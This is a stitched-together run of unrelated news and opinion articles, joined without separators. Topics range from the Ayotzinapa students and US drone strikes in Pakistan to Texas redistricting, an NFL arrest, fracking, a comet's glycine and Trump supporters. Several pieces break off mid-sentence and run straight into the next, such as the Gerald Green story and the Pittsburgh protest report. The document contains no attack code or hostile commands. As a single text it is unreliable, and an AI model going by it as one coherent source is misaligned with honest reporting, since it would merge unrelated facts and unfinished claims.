Authorities believe the 43 students were captured by Iguala police and turned over to a gang in cartel territory and then executed in Cocula, 14 miles away.
The gang burned the bodies and dumped them in a river, but their corpses have yet to be found, authorities say.
A mayor arrested, too
So far, authorities have also charged Iguala Mayor Jose Luis Abarca as the "probable mastermind" in the 43 students' disappearance, and he has been charged with six counts of aggravated homicide and one count of attempted homicide, authorities said.
In all, at least 75 people have been arrested in connection with the disappearances and the deaths, and the governor of Guerrero has taken a leave of absence amid scorching criticism that he responded too slowly to what's been called one of the most serious human rights abuses in recent Latin American history.
Federal authorities say they heard confessions from drug traffickers indicating that the college students were rounded up on the orders of the Iguala mayor and then delivered to the drug gang to be murdered.
Families don't accept the official version and demand proof of what happened.
Mexicans have rallied to support the families, and on Thursday, tens of thousands of people converged on Mexico City to vent their anger and frustration in a protest that ended in violent clashes with police.
The 43 missing students attended la Escuela Normal Rural de Ayotzinapa, a small college devoted to training students to become teachers in Mexico's impoverished countryside.
Leftist school
The rural teachers' colleges, sometimes labeled normal schools, are called "devil schools" by critics, according to Luis Hernandez Navarro, editor of La Jornada, one of Mexico's major newspapers.
"These are schools that are poor, and for the poor, to teach the poor," Hernandez told CNN.
"These schools are the gateway to move socially for the poor, rural students," Hernandez added, "and they are one of the few escape routes that farmers have for their children to become teachers and prosper."
The school has been in the government's cross hairs, and business groups have requested they be closed, he added.Listen to the premier epsiode of The Garden Report Podcast in the player above. Below is the written version of this premier podcast episode.
Many players hold on to the NBA for as long as they can, before they eventually begin a second phase of their careers overseas. They regrettably bid the NBA farewell and find themselves starting anew in Italy or Turkey or Croatia or China. But a lucky few make it back, and today we will talk about one of them.
This is From Russia with Love: The Return of Gerald Green.
From Boston to the Black Sea
Gerald Green’s journey began in Boston. He was a first-round pick for the Boston Celtics back in 2005. It was the second straight year Danny Ainge selected a high school phenom, after hitting a home run on Al Jefferson in the middle of the first round the year before. Green even was a starter at one point, scoring 13 points per game in 26 starts after both Paul Pierce and Tony Allen went down for the year in the 06-07 season.
His hype continued to build, with Kobe Bryant calling him, “a hell of a talent,” that reminded Kobe of himself. When Green won the dunk contest at all-star weekend, he looked like he could become the athletic compliment to Paul Pierce’s methodical ground game. But then he was shipped with half of his teammates to the Minnesota Timberwolves for Kevin Garnett, which he was actually pretty cool with.
”Shoot, I would trade myself for Kevin Garnett too,” Green said. “There's never been any hard feelings at all. I don't think I left on bad terms.”
While a new Big 3 era rose and fell in Boston, Green floundered through the western conference, with inconsistent bouts of scoring in a split year between the Wolves and the Rockets before one final season in Dallas. The problems began in Minnesota, where he started the season at the bottom of the depth chart and never really broke through. He made waves for his unforgettable dunk contest performance, where he blew out the candle on a cupcake sitting on the rim.
But when the Wolves surprisingly declined his final year option, he requested a trade. As Paul Pierce said at the time, Gerald was still trying to find himself. But it turned out, the answer wasn’t in |
the bombing of CIA agents in Afghanistan. Pakistan officially objects to the attacks on suspected al Qaeda and Taliban militants along its border with Afghanistan, saying they violate its sovereignty. And it has pushed Washington to provide it with the drones to allow it to carry out its own attacks. REUTERS/Stringer
Pakistan officially objects to the operations against suspected al Qaeda and Taliban militants along its border with Afghanistan, saying they violate its sovereignty.
And Islamabad has pushed Washington to provide it with the drones to allow it to carry out its own attacks on Taliban insurgents, a move that could ease widespread anti-American sentiment in Pakistan.
Prime Minister Yusuf Raza Gilani reiterated Pakistan’s concerns over the drone strikes in talks with a delegation of visiting U.S. senators headed by John McCain.
“He reiterated his government’s disappointment over the continuing drone attacks and persisting reluctance of the U.S. to share drone technology with Pakistan to enable it to take on the terror centers in its border areas itself,” said Pakistan’s official APP news agency.
The senators met Gilani on Friday and also held talks with President Asif Ali Zardari and army chief Ashfaq Kiyani after visiting Afghanistan, where U.S. and other Western troops face a raging Afghan Taliban insurgency.
Speaking to reporters on Friday, McCain defended the drone strikes, saying they are “one of many tools that we must use to try to defeat a very determined and terrible enemy”.
The United States has stepped up its attacks with the pilotless drone aircraft attacks in Pakistan since a double agent blew himself up at a U.S. base in Afghanistan on December 30, killing seven CIA agents.
U.S. officials say the strikes are carried out under an agreement with Islamabad that allows Pakistani leaders to criticizes them in public. Pakistan denies any such agreement.
U.S. PRESSURE
Pakistan has captured hundreds of al Qaeda militants and handed many of them over to the United States, including some of the most wanted men in the U.S. war on terror.
Pakistan is likely to come under more intense American pressure to help fight militant groups after the suicide bombing that killed the CIA agents.
Pakistan is struggling against homegrown Taliban insurgents and is reluctant to go after some groups in border enclaves it sees as assets in Afghanistan that Washington wants eliminated.
Al Qaeda’s Afghan wing claimed responsibility for the suicide bombing, saying it was revenge for the deaths of militant leaders, including Pakistan Taliban leader Baitullah Mehsud, who was killed in a drone attack.
Pakistan and the United States are long-time allies. But the drone attacks and other issues have caused friction.
Gilani told the senators tighter security measures against Pakistanis in U.S. airports following a botched bombing attempt on an American airliner could hurt relations.
Travelers from Nigeria, Yemen, Pakistan, Afghanistan, Saudi Arabia and nine other countries face full-body pat downs before boarding airliners under new security screening procedures targeting foreign passengers in the United States.
In his talks with the senators, Gilani expressed his reservations about the move, said a statement from his office cited by APP.
“Gilani said such policies cause consternation and anxiety among the people of Pakistan and said their continuity could negatively impact the bilateral ties,” said APP, adding that Gilani said Pakistan should be removed from the list.
The U.S. embassy has accused Pakistan of taking provocative action and making false allegations against U.S. personnel. U.S. officials say Pakistan is also stalling their visa applications. (Editing by Alex Richardson)“What it has done is injected an enormous amount of stress into the campaign system,” said Bill Miller, a longtime political consultant and lobbyist in Austin who works with both Republicans and Democrats. “It’s just like a snow globe that’s been turned upside down. All this stuff is in the air, and it’s slowly going to settle down, but you don’t where and you don’t know why.”
The two sets of maps at the heart of the dispute — one drawn by the Republican-controlled Legislature and the other by the federal judges in San Antonio — each pose distinct advantages and drawbacks for Republicans and Democrats, as well as Hispanic and black voters.
The state’s boom in population — census data in 2010 showed it had grown by 20.6 percent since 2000 — gave Texas four new seats in Congress, for a total of 36. The Legislature-drawn maps would give Democrats fewer Congressional and State House seats than the maps created by the three-judge panel, which could deliver to Democrats as many as four additional seats in Congress and about a dozen in the State House. Several minority groups and lawmakers argued that the Legislature’s maps did not reflect growth in the state’s Hispanic and black populations, and violated minority voting rights laws. Attorney General Greg Abbott and Republican leaders maintain that no court has found the Legislature’s maps to violate any law and say that the federal panel in San Antonio exceeded its authority in issuing its own maps.
“This is all about the changing demographics in Texas and what that means for partisan politics,” said Mark P. Jones, a political science professor at Rice University in Houston. “In Texas, most of the growth in population that has resulted in Texas’s four additional Congressional seats is a result of a growth of the Hispanic population. But this Hispanic population generally votes Democratic. At least a segment of the Republican Party is trying to keep the growing Hispanic electorate from negatively impacting their power in the state for as long as possible.”
Gov. Rick Perry signed the Legislature’s maps into law in June and July. Minority groups sued the state in federal court in San Antonio, charging that those maps discriminated against minorities.
Photo
But Texas and other states with a history of racial discrimination cannot put new maps in place without federal approval. So, the state had asked a federal court in Washington to approve the Legislature-drawn maps, but the court refused, prompting the San Antonio judicial panel to create an interim map so that the elections could proceed. The federal judges in Washington, in their ruling last month, faulted the state for using an improper methodology to determine whether the Legislature’s maps hurt minority representation.
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Meanwhile, the Justice Department, whose civil rights division also found the state’s maps to discriminate against minorities, has become a central figure in the dispute. The Texas attorney general accused it this month of delaying the federal-approval process in an effort to have the court-drawn maps imposed, a claim the agency denies.
For the most part, reaction to the Supreme Court’s decision on Friday to take up the matter tracked along party lines, with Democrats expressing some disappointment and Republicans feeling pleased. State Representative Trey Martinez Fischer, a San Antonio Democrat who is the chairman of the Mexican-American Legislative Caucus, one of the groups that sued the state over redistricting, said in a statement that they were “deeply concerned about the potential disruption of the 2012 election schedule.”
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On a practical level, the developments on Friday created a sense of uncertainty that spanned the aisles, particularly when it came to any decisions lawmakers may have made about their political futures based on the court-drawn maps.
State Representative Aaron Peña, a Republican who represents part of Hidalgo County in South Texas, announced late last month that he was not seeking re-election, citing his redrawn district as a primary reason. The Legislature’s maps put Mr. Peña, a former Democrat, in a 52 percent Democratic district, while the court-drawn maps placed him in a 75 percent Democratic district that he felt was unwinnable by any Republican.
But the Supreme Court in effect changed Mr. Peña’s political prospects.
“I’m going to re-examine the question of whether or not I should run,” Mr. Peña said on Sunday. “About a week before the ruling I had ended my relationships with my campaign staff, and the same is true for the some of the primary donors who have supported me over the years. As soon as the court ruling hit the Internet, I received over 50 calls from people asking me to reconsider.”At some point after Aldon Smith’s first DUI arrest in January 2012, 49ers cornerback Carlos Rogers, 32, spoke to the young outside linebacker about maximizing his gobs of ability.
“I just told him you’ve got a lot of talent,” Rogers said. “And you can make lot of money in this league. I think you’re one of the guys that can set the record for sacks. Your motor, your work ethic … But when you’re off the field, you’ve got to take that same mindset that you have when you’re around us.”
On Friday, it was clear Rogers’ message has yet to fully resonate with Smith, 23, whose two-plus years in the NFL have been dotted with records on the field and trouble off it.
Smith was arrested at 7:02 a.m. Friday for suspicion of DUI and marijuana possession and was in attendance at practice less than six hours after his blood-alcohol level, 0.15, was nearly twice the legal limit. After practice, Jim Harbaugh wasn’t expansive regarding Smith’s arrest, but some of the team’s elder statesmen addressed the matter more candidly.
Tight end Vernon Davis said the arrest caught him off guard given Smith’s performance – on and off the field – in the latter stages of 2012. After Smith was stabbed at a party at his house outside San Jose 15 months ago, he’d avoided making off-the-field headlines last season and expressed contrition when discussing his past transgressions. On the field, he set a franchise record with 19.5 sacks, earned first-team All-Pro honors and became the fastest player to record 30 career sacks in NFL history.
“It definitely caught me by surprise,” Davis said. “Aldon, he was doing a pretty good job of just staying out of trouble and things like that. He’s a young guy. Just like every young guy that comes in here, you go through a phase in your life.”
Both Rogers and Davis both alluded to a program the NFL has in place which allows players to get a ride if they’ve had too much to drink. Davis said the importance of not drinking and driving is one of the first topics discussed when players arrive in the offseason.
“Some guys listen, some guys don’t,” Davis said. “I mean, there’s nothing I can do about it. I can’t go up to anyone in locker room and say, ‘Hey, listen. You better not drink and drive.’ You just can’t do that. There’s a saying: You can take the horse to the water, but you can’t make him drink it.”
For his part, All-Pro defensive tackle and team captain Justin Smith, 34, said his teammate’s latest transgression didn’t concern him. Smith, however, is among the the team’s most tight-lipped players with the media and prefers to keep any topic not involving Xs-and-Os in-house.
“He’s got his head on straight,” Smith said. “Sometimes stuff just happens. If everyone went looking though everybody’s past, you’d find some stuff on everybody. Even the people probably asking the questions. So, you know, not concerned.”
Rogers, however, struck a different note. On Friday, he didn’t offer Smith any further counsel because, he said, he didn’t want to bombard him. He saw other teammates, coaches and general manager Trent Baalke speaking with Smith after he arrived at the team facility.
But it was clear Rogers won’t stray from his previous message if he speaks to Smith again.
“Each and every person knows what they have to do,” Rogers said. “I just hope guys like that just don’t waste their talent.”UFC women's bantamweight champion Ronda Rousey may be outspoken but her mother, Ann Maria DeMars, is no shrinking violet when it comes to shooting straight from the hip.
Writing on her blog recently, The Business/Judo of Life (hat tip to Fox Sports), the former world Judo champion said she's worried about some of the people her daughter has started hanging out with.
"I'm her mom so of course I think Ronda Jean is a whole cupcake of amazing, frosted with awesome sauce and sprinkles of sweetness on top. However, I think some of the people she hangs out with are douche bags."
DeMars wrote that she thinks Ronda's fame is causing a "bubble" to form around her like many other famous celebrities in history, where she's surrounded by yesmen who are too fearful to be honest with her about some of her decisions.
"Here is what I see. The more famous, wealthy or successful you get, the more people are afraid of you. Most people are not fabulously famous, etc. so you end up with a lot of people around you whose major quality to offer to the world is that they are associated with YOU. No matter how wonderful anyone is, they will do stupid shit from time to time. The difference if you are rich and famous is that people don't call you on your shit."
While admitting that Ronda tells her "not to worry," DeMars wrote that privately some people have said they disagree with some of the decisions the UFC champion has made. But when she suggests they confront Ronda about it they back down, concerned that "she won't let him hang around any more and he won't get to be a big shot."
"After all, who wouldn't like to believe that every decision they made was right? That bubble of what you see as acceptable - because everyone around you accepts it - just gets bigger and bigger until one day it pops when you rape someone in a hotel room or shoot someone because they annoyed you or overdose on drugs."
Yikes. Subtle Mike Tyson reference there.
Given Rousey's recent success in landing movie roles and winning awards it certainly doesn't seem like she's likely to do any hotel room raping in the near future, but it's nice to see mom is looking out for her.
Or is it? Do you think this public airing of her deepest fears should have been something shared with her daughter in private?Activists take on fracking by turning the Tory club in George Osborne’s constituency into ‘Frack & Go’ HQ. Photo: Steve Morgan
To listen to its advocates, there’s little shale gas won’t do: bring down energy prices, cut carbon emissions, support renewables and bring us out of recession. The ‘climate-sceptic’ Global Warming Policy Foundation even claimed that ‘because of shale gas, wealth and health will be distributed more equitably over the planet’. Add to this newspaper stories with misunderstood numbers saying that we have enough shale gas to heat UK homes for 1,500 years and you can see why some people are getting excited.
In the UK, the initial activity has been in Lancashire, where test drilling in 2011 caused earthquakes that led to a de facto moratorium on further fracking. Energy secretary Ed Davey lifted this ban in December 2012 and interest is now on the rise again. Many areas are already covered by licences giving companies the first option on oil and gas exploration. A few companies have got planning permission for test drilling. Among the areas being eyed up in this current round are Lancashire, Sussex, Kent, South Wales and the East Midlands. And the government is planning more licensing, potentially opening up more areas for drilling.
Do the claims made for shale gas stand up to scrutiny? Green groups and local community organisations think not.
We believe that large-scale shale gas extraction is unnecessary and unwanted.
Environmental experiment
Fracking is rightly a controversial technology. In conventional gas production, the gas flows freely up a well. Shale gas is held within shale rocks thousands of feet underground, which have to be fractured (or ‘fracked’) to allow the gas to flow. This is done by pumping millions of gallons of water – mixed with potentially toxic chemicals to help the gas flow more freely – down the well at extremely high pressure. Only maybe half of this water comes back to the surface – the rest remains underground.
It’s an experiment with the local environment. The European Commission has said the cumulative impacts of fracking at several sites pose high risks of problems for water resources, water contamination and air pollution. There is clear evidence of problems in the US: water supplies contaminated by fracking chemicals and by the gas itself, increased air pollution, communities blighted by traffic.
Nor will shale gas help to tackle climate change. The industry says the UK should go for shale gas as a ‘companion fuel’ for renewables as it’s a ‘clean’ fossil fuel. But tackling climate change means getting off the fossil fuel hook as quickly as possible and exploiting the UK’s abundant potential for renewables – wind, wave and solar. Shale gas will be a dangerous distraction and could hit investment in real low-carbon solutions.
Globally, exploiting shale gas reserves could be disastrous. The International Energy Agency’s so-called ‘golden age of gas’ scenario, with use of unconventional gas such as shale tripling by 2035, would set us on course for a global temperature rise of 3.5 degrees Celsius – well above the threshold for triggering catastrophic climate change. The IEA did admit that a golden age of gas might not be a golden age for humanity.
US expansion
Bills are the public’s top current concern about energy. George Osborne points to the US where natural gas prices fell as a result of fracking and says he doesn’t want the UK to be left behind. Would shale gas deliver lower gas prices in the UK? At best it seems unlikely. Operating costs in Europe could be 30-50 per cent higher than in the US as a result of factors such as higher population density. And claims of cheaper gas prices ignore fast rising global demand for gas, particularly from China and India.
The US shale gas industry is looking to expand internationally, with Europe a key focus. But it is meeting strong resistance. France and Bulgaria have banned the technology, following grassroots protests. And many other countries are concerned about the environmental impacts and want to know more before making any firm decisions.
Despite his welcome commitment to action on climate change, President Obama’s state of the union address reaffirmed his support for shale gas as a way of promoting US energy independence. And the planned free trade agreement between the US and the EU is a real concern, with the EU possibly having to accept US environmental standards on issues such as GMOs and fracking. This is particularly worrying as fracking is excluded from some key US federal environmental regulations, thanks to ex-vice president Dick Cheney – a former CEO of Halliburton, one of the leading fracking companies.
Fracking could be an electoral liability for the government in key constituencies. Seven of Labour’s target Tory seats are in Lancashire, and fracking in the south east could cause uproar in the Tory heartlands. Not that Labour can claim a clearly better policy. It supports tougher environmental regulation, but concerns about climate change don’t seem to feature highly with regard to shale gas.
The message from green groups is simple: we should leave the shale gas in the ground. It’s a gamble we don’t need to take in the UK. The priority is to get our broader energy policy right, and the government’s energy bill offers the chance to do this. We must make sure there is a clear commitment to cut carbon almost entirely from our electricity system by 2030. That won’t just help stop fracking – it will also set us on the right path to tackle climate change, and reap the economic and social benefits of a green energy revolution.
Tony Bosworth is an energy campaigner at Friends of the Earth and Helen Rimmer is Friends of the Earth’s North West campaigner. For more information, see www.foe.co.uk/fracking
The view from the ground
by Eve McNamara, Ribble Estuary Against Fracking
The first I knew about it was when a rig appeared in a field near where I live in Banks, a small village in West Lancashire. I made inquiries and soon found out that the rig was for shale gas exploration – and a company, Cuadrilla, had permission to frack. No one I spoke to in our community knew about it – there had been no community consent.
We called a public meeting and 40 people turned up – Ribble Estuary Against Fracking was born. We started as a small group and our purpose has been to give people more information about the risks to our environment and community. Our area has a thriving market gardening industry – salad crops and root vegetables provide not only local markets but many of the UK’s supermarkets. The beautiful Ribble estuary, an internationally important site for wildlife, is on our doorstep. We’re worried that fracking could devastate our agricultural economy and our environment.
Since we started, our group has grown and several new anti-fracking groups have formed across the county – we’re networking and supporting each other. Now politicians and the local council are listening to us. Together we’ve got hundreds of objections to planning applications from concerned residents and Cuadrilla’s plans have been delayed. We’re also countering the spin from the shale gas industry that they’re going to create thousands of jobs and boost our economy. They’re even taking their PR into our local schools. We know their claims are exaggerated and the real future for our economy and energy security is in renewables.
We often get accused of being Nimbys. We don’t want fracking in our community – but we don’t want it anywhere else either. And we’re not against development. Our county needs jobs and investment – but shale gas in not the answer.
What happens in Lancashire this year is crucial for the development of the shale gas industry across the UK. We’ll be keeping up the fight against Cuadrilla and the shale gas lobby. Our region has the potential to be a leader in green energy with huge offshore wind and tidal resources and a strong manufacturing heritage. Instead of risky shale gas we want investment in a green future.This is a guest post by Jason MacDonald. For more on limitation riders, see his research here (ungated). In addition, see the new issue of “Extension of Remarks,” the newsletter of the American Political Science Association’s Legislative Studies Section.
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As is well known within the political science community, the U.S. House included language, the so-called “Flake Amendment,” in its version of the fiscal year 2013 Commerce, Justice, Science, and Related agencies appropriation bill that prohibits the National Science Foundation from funding research within its political science program— a ban that will take effect if the language is included in the version of the bill that becomes law.
One detail lost in political scientists’ responses that understandably focus on explaining the benefits of political science research, is the policy-making tool used by lawmakers to execute the ban. This tool, the “limitation on appropriation” or “limitation rider,” enhances Congress’s capacity to affect public policy within the separation of powers system—a capacity increasingly challenged by assertive presidents.
Limitation riders are provisions within appropriations bills stating that “no funds” or “none of the funds” can be used for specific purposes. In the early 20th century, House majorities set precedents allowing for such provisions in appropriations bills despite objections that the provisions have no place in appropriations bills because they have the effect of changing the law (if only for a year). Along these lines, even though the law allows the NSF to provide grants under its political science program, the agency will be unable to do so for the next fiscal year if the Flake Amendment is enacted.
Limitation riders are particularly effective because they are written into appropriations bills. If these bills are not enacted, the government, or sizable parts of it, will shut down. This makes it harder for the president to prevent Congress from using limitation riders to influence the bureaucracy’s actions (or more accurately, stop the bureaucracy from taking action). If President Obama received a “normal,” or non-appropriations, bill eliminating funding for political science research, he would be able to veto it with no consequences other than maintaining the status quo. However, if Obama vetoes this year’s Commerce appropriations bill because of the political science provision, whole government departments will shut down. I would like to think that President Obama is a fan of some political science research—but I doubt he’s that much of a fan! By making it easy to write provisions that affect policy into appropriations bills, Congress has enhanced its power over the executive branch.
This enhanced power is valuable in a separation of powers system because it allows members of Congress to promote the interests of constituents and stakeholders even if the executive branch cares less about those interests. As explained in more detail in the newsletter, one example involves Congress’ preventing the Bush administration from allowing Mexican-based trucks from entering U.S. transportation markets for the duration of the Bush presidency. Free trade advocates, among others, viewed this as bad policy. Nevertheless, labor organizations and domestic competitors to Mexican-based trucks benefited from this rider.
What is the take-away for political scientists and other observers of politics and government who care about how well political institutions provide representation? My view is that limitation riders help Congress compete with the executive branch in an era in which executive power is ascendant—and this is good if we want the separation of powers system to perform as Madison envisioned in Federalist 51. Of course, we shouldn’t be surprised if this power enables Congress to do things that Madison worried about in Federalist 10 or simply do things that we might view as unwise and/or parochial. Of course, as we learned from Madison, if we don’t like what the House has done, we can always follow the advice of national political science organizations and lobby our senators. If President Obama is unlikely to veto the Commerce appropriations bill because of the ban on political science funding, then keeping this rider out of the Senate version of the bill represents the best shot for opponents of the Flake amendment.For the first time, scientists have directly detected a crucial amino acid and a rich selection of organic molecules in the dusty atmosphere of a comet, further bolstering the hypothesis that these icy objects delivered some of life's ingredients to Earth.
The amino acid glycine, along with some of its precursor organic molecules and the essential element phosphorus, were spotted in the cloud of gas and dust surrounding Comet 67P/Churyumov-Gerasimenko by the Rosetta spacecraft, which has been orbiting the comet since 2014. While glycine had previously been extracted from cometary dust samples that were brought to Earth by NASA's Stardust mission, this is the first time that the compound has been detected in space, naturally vaporized.
The discovery of those building blocks around a comet supports the idea that comets could have played an essential role in the development of life on early Earth, researchers said.
"The comet really contains everything to produce life except energy."
"With all the organics, amino acid and phosphorus, we can say that the comet really contains everything to produce life — except energy," said Kathrin Altwegg of the University of Bern in Switzerland, the principal investigator for the Rosetta mission's ROSINA instrument.
"Energy is completely missing on the comet, so on the comet you cannot form life," Altwegg told Space.com. "But once you have the comet in a warm place — let's say it drops into the ocean — then these molecules get free, they get mobile, they can react and maybe that's how life starts."
Getting a glimpse
Glycine, one of the simplest amino acids, is usually bound up as a solid, which means it's difficult to detect from afar, Altwegg said.
While scientists have searched for glycine through telescopes in star-forming regions of the sky, the newly reported detection marks the first sighting of the compound in space. In this case, the orbiting Rosetta was close enough to pick up the glycine released by the comet's dust grains as they heated up in the sun.
The newly reported detection marks the first sighting of the compound in space.
The study is a powerful confirmation of earlier, earth-bound detections of life's building blocks in comet and meteor material.
"We know the Earth was pretty heavily bombarded both with asteroidal material and cometary material," said Michael A'Hearn, a comet researcher at the University of Maryland who was not involved in the new study.
"There have been various claims of amino acids in meteorites, but all of them have suffered from this problem of contamination on Earth. The Stardust [samples] — which are from a comet, not an asteroid — are probably the least susceptible to the terrestrial contamination problem, but even there the problem is severe," A'Hearn told Space.com. "I think they [Stardust] really did have glycine, but this is a much cleaner detection in many ways."
Cooking up life
Amino acids form the basis of proteins, which are complexly folded molecules that are critical to life on Earth. Altwegg's team searched for other amino acids around the comet as well, but located only glycine — the only one that can form without liquid water (as in the frigid reaches of space).
The glycine probably didn't form on the comet itself, Altwegg said, but rather in the broad stretches of dust and debris that made up the solar system before planetary bodies formed.
"The solar system was made out of material which formed in a disk, in a solar nebula," Altwegg said. "In these clouds, it's pretty cold, so the chemistry you do there is catalytic chemistry on the dust surfaces. And these very small dust grains [1 micron in size] are very good to lead to organic chemistry. This is also done in the lab." Earth itself was far too hot for similar delicate amino acids to survive its formation, Altwegg said; only the smallest solar system bodies stayed cold.
Rosetta is the first spacecraft to bring the right kind of instrument up close to a comet.
So glycine formed during that time could have provided a boost to newly forming life if it was delivered to Earth by comets.
"It's not that it couldn't have formed on Earth — it certainly could — it's just that it didn't have to," A'Hearn said. "Basically, the Earth got a head start."
Other, more complex amino acids require liquid water, and so would have likely formed on Earth itself, Altwegg said. This idea is supported by the fact that Rosetta has not identified any amino acids other than glycine near Comet 67P.
Phosphorus is also vital to life as we know it. Among other things, the element is a key constituent of DNA and adenosine triphosphate (ATP), a molecule that stores the chemical energy used by cells.
Rosetta is the first spacecraft to bring the right kind of instrument up close to a comet; future probes could examine other comets or even bring frozen samples back for analysis, to see how representative 67P is of comets in general.
"Ask yourself the question: How many Earths are there, how many evolved life or re-evolved life?"
But in the meantime, the team is still working on understanding all the organics they found and analyzing them further. "And I think the next step goes to the biochemists, how to make something meaningful out of this," Altwegg said.
The discovery is also significant to researchers trying to understand the conditions of the early solar system, when the comet's nucleus first came together, not to mention conditions when the early Earth was bombarded by similar comets.
"For astrobiology, it's a very important measurement," Altwegg said. "And it's not only life on Earth; the material in comets has been formed in a protostellar cloud, and what could have happened here in our protostellar cloud could have happened everywhere in the universe."
"Then you can ask yourself the question: How many Earths are there, how many evolved life or re-evolved life?" she added.
The new work was detailed in the journal Science Advances May 27.First there was sushi.
Now there’s onigirazu.
NTD TV reports the Japanese rice sandwich has been gaining in popularity in the U.S.
San Francisco and New York are just two places where the sandwich has been introduced.
“So onigirazu is where you kind of make a sandwich. Your bread is two layers of rice, then you put your filling inside.” said Christina Pardo, who packs the sandwich for herself and her husband.
The sandwich has a long way to go to become an equal to the ever popular sushi.
I’ve personally seen it being offered at sushi bars and restaurants and found it very appetizing.
You can read what people are saying about this popular treat in Japan and see video of it being made on NTD TV.Joseph Amodeo is interviewed by The Associated Press in the New Dorp neighborhood of the Staten Island borough of New York, Wednesday, May 17, 2017. (AP Photo/Mary Altaffer)
NEW YORK (AP) — President Donald Trump’s loyal backers say they don’t know, don’t believe or don’t care about the explosive revelations that forced the Justice Department to appoint a special counsel to investigate possible collusion between Russia and the Republican campaign.
From the quiet streets of New York’s working-class Staten Island to small-town Denison, Iowa, and even smaller Rutledge, Georgia, Trump may be as popular today as when he was elected. Voters are standing with a president who tweeted on Thursday that he is the target of “the single greatest witch hunt of a politician in American history!”
The tumult that began last week with the firing of FBI Director James Comey has consumed Washington, roiling the White House and putting congressional Republicans on the defensive.
Not so in Trump strongholds.
“I tuned it out,” said 44-year-old Michele Velardi, a mother of three sons, during a break from her job at a Staten Island hair salon. “I didn’t want to be depressed. I don’t want to feel that he’s not doing what he said, so I just choose to not listen.”
A few blocks away, die-hard Trump supporter Joseph Amodeo, 19, incorrectly praised the president for raising New York’s minimum wage, something enacted by Democrats in the Legislature. The college student had little understanding of the Trump administration’s deepening political struggles, but he offered a stern message to Trump’s critics.
“If you’re wishing for him to fail, you’re basically wishing for the pilot of the plane to crash,” Amodeo said. “You just gotta stick by him and hopefully he does things that benefit everyone.”
Such support isn’t necessarily representative of voters nationwide.
A Quinnipiac University poll showed that 61 percent of those in the United States believe Trump is dishonest. Wall Street soured on the new administration — for a day at least — as the stock market on Wednesday had its worst day of the Trump presidency. And in Washington, some Democrats raised the prospect of impeachment amid reports that Trump asked Comey to end the investigation of Trump’s first national security adviser, Michael Flynn.
Yet there was little evidence of significant cracks among Trump’s most passionate supporters.
In Denison, Iowa, 60-year-old Mark Feller said he would support Trump’s 2020 re-election without question, despite concerns over what Feller described as chaos in the Oval Office. The furniture dealer doesn’t believe reports that the president asked Comey to back off his investigation before firing him.
“If it were true, it would bother me. But I don’t think it’s true,” Feller said.
In a rural area outside Des Moines, Iowa, John Strathman said he would give Trump a passing, albeit unimpressive, grade at the four-month mark in his presidency. He would like see Trump become “more polished at the art of politics.” But the 65-year-old retired Defense Department employee’s decision on whether to continue supporting Trump has little to do with the Russia scandal riling Washington.
He wants to see Trump follow through on his conservative policy promises.
“If he doesn’t govern like a conservative and looks more like a Democrat, then I’ll have to re-evaluate,” Strathman said.
In Rutledge, Georgia, a town of about 800 people in a county that gave Trump nearly 70 percent of the vote, Doug Foy suggested Trump shouldn’t presume the support is unshakable, even if he’s not turning his back on the president yet. In particular, Foy, 53, who runs a tree removal service, would be concerned if Trump pressured Comey to drop the investigation.
“I’m not a politician, so I don’t know just what they should do,” he said. “I don’t know if they should pursue impeachment or anything like that.”
But his son, 27-year-old Robbie Foy, said he hasn’t paid close attention to the news in recent days. He’s not backing off his initial reasons for supporting the president. Chief among them: his sustained disdain for Trump’s opponent, Democrat Hillary Clinton.
“Trump’s not in it for the money. He’s got plenty of money,” the younger Foy said. Clinton, he added, “was in it for herself.”
For many of the Trump faithful, even six months from the 2016 election, their fierce opposition to Clinton remains fresh. Trump isn’t perfect, they say, but he’s far better than what the alternative would have been.
The attitude was prevalent on the streets of Staten Island, where Trump beat Clinton last fall by nearly 17 percentage points. That’s even as Clinton defeated Trump in the state of New York by 22 points.
State Assemblyman Ron Castorina, who represents Staten Island, refers to his community as “Trump Country.” He blamed Trump’s problems on what he calls irresponsible media coverage that’s “damaging the country as a whole.”
Trump supporters like him, he says, aren’t giving up on their president.
“Not only have I not heard of anyone turning their backs, I’ve seen people become more in solidarity with the president because they feel he’s getting a raw deal,” Castorina said.
Indeed, inside Staten Island’s Cabinet Plant, store co-owner Paul Lopa, 41, said there’s “nothing right now big enough” that could shake his support in Trump.
“I think he’s going more and more into the right direction,” Lopa said.
Down the street, Andrew Ottrando, a 56-year-old truck driver, said, “The Comey stuff is a joke.”
Could anything persuade him to abandon Trump?
“If he gases his own people, yeah I would be against him,” Ottrando said, saying afterward that he was only joking.
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This story has been corrected to reflect that Mark Feller of Denison, Iowa, is a furniture dealer, not a furniture maker.PITTSBURGH - About 500 people marched from Schenley Plaza to the Carnegie Mellon University quad on Saturday afternoon, protesting the executive order signed by President Donald Trump on Friday which placed a ban on immigration from seven majority-Muslim countries.
The order barred people from Iraq, Iran, Sudan, Yemen, Libya and Somalia who are not U.S. citizens from entering the country for 90 days. It banned entry for people from Syria indefinitely and suspended admission of refugees for 120 days in addition to cutting in half the number of refugees that will be accepted into the U.S. in fiscal year 2017 -- from 110,000 to 50,000.
Christians, and other religious minorities, are |
is beneficial for all parties. "I don't think it's great when PSN goes down. It doesn't help me," Spencer said. "All it does is put the fear and distrust from any gamer that's out there, so I look at all of us together as this is our collective opportunity to share what we can about what we're learning and how things are growing. Those conversations happen, which I think is great."
Exit Theatre Mode
To learn more, you can read IGN's in-depth explanation of what a DDoS attack is.
Jordan Sirani is a freelance news writer for IGN. You can follow him on Twitter @jdsirani.All 91 of the U.S. Navy’s enlisted job titles are headed for Davy Jones’ locker.
Navy Secretary Ray Mabus prodded the Navy and Marine Corps early this year to look for ways to create gender-neutral rating titles. The Marines responded with new job titles in June, but the Navy ultimately decided to go with a complete overhaul of its system.
“We’re going to immediately do away with rating titles and address each other by just our rank as the other services do,” Chief of Naval Personnel Vice Adm. Robert Burke told Navy Times for a piece published Thursday. “We recognize that’s going to be a large cultural change, it’s not going to happen overnight, but the direction is to start exercising that now.”
The move, which officials say will make service members more employable post-service, does away with titles like airman and fireman in favor of Navy Occupational Specialties (NOS).
“Under this new system, for example, Gunner’s mates will be identified as B320 and quartermasters will be B450,” Navy Times explained.
The title seaman will remain the last nonrated rating remaining for those with a rank of E-3 and below.
Vice Adm. Robert Burke told the newspaper that NOS will be configured into broad career fields within 13 communities of service. The new system aims to give sailors a greater number of duty stations and more flexibility in terms of how their careers advance.
A spokesman for Secretary Mabus denied any “direct line” between the directive for gender-neutral job titles and the Navy’s decision to overhaul its system, the Washington Examiner reported.
